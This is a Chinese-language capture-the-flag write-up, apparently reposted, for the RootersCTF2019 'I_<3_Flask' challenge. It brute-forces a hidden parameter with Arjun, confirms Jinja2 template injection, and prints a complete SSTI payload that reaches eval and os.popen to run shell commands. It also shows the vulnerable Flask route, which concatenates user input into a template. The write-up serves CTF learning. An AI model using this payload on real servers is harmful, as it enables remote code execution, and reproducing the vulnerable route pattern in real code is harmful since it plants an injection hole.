[BUUOJ記錄] [RootersCTF2019] I_<3_Flask


簡單的參數爆破+jinja2模板注入(ssti)

解題過程

打開題目,從題目名稱以及主頁面可知題目是由Flask搭建
第一思路應該是尋找Flash路由,掃了一下發現沒有源碼泄漏,常見的一些隱藏提示點都看了一下,發現沒有什么提示
在這里就需要考慮一下參數爆破了,使用工具Arjun進行參數爆破:
python3 arjun -u http://270ecd40-84d3-4667-bee9-04c7c2aeb5c2.node3.buuoj.cn/ -c 100 -d 5
講道理這里-d 5的作用是請求間隔,BUUOJ設置了防D,如果不加-d 5可能就會429然后導致爆破不出來,當然,加上延時后速度自然慢的離譜
看了集電視劇之后回來看到爆破出了參數name
在URL后面加上/?name=1測試一下:

簡單測試一下是否存在ssti,構造/?name={{2*2}}請求:

可以看到{{2*2}}被直接執行了,判斷一下發現是jinja2的模板,fuzz一下發現沒有什么過濾,直接上RCE的payload:

{% for c in [].__class__.__base__.__subclasses__() %} 
  {% if c.__name__ == 'catch_warnings' %} 
    {% for b in c.__init__.__globals__.values() %} 
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %} 
          {{ b['eval']('__import__("os").popen("ls").read()') }}    //這里的ls就是需要的執行命令
        {% endif %} 
      {% endif %} 
     {% endfor %} 
  {% endif %}
{% endfor %}

先ls列出目錄:
I ♥ Flask & application.py flag.txt requirements.txt static templates
然后直接執行cat flag.txt即可得到flag:

題目做完之后反過來再看看路由怎么寫的:

from flask import Flask, render_template_string, request 

app = Flask(__name__) 
app.secret_key = "fuk9dfuk5680fukbddbee2fuk" 

@app.route('/', methods=['GET']) 

def index(): 
  name = 'Flask' + ' & ' + request.args.get("name", default="Flask") 
  //可以看到下面這行代碼直接拼接了name參數的值,從而導致了ssti漏洞
  template = """ {% extends "layout.html" %} {% block content %} <div class="content-section"> I &hearts; """ + name + """ </div> {% endblock %}"""  
  return render_template_string(template) 

if __name__ == '__main__': 
  app.run(debug=False)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM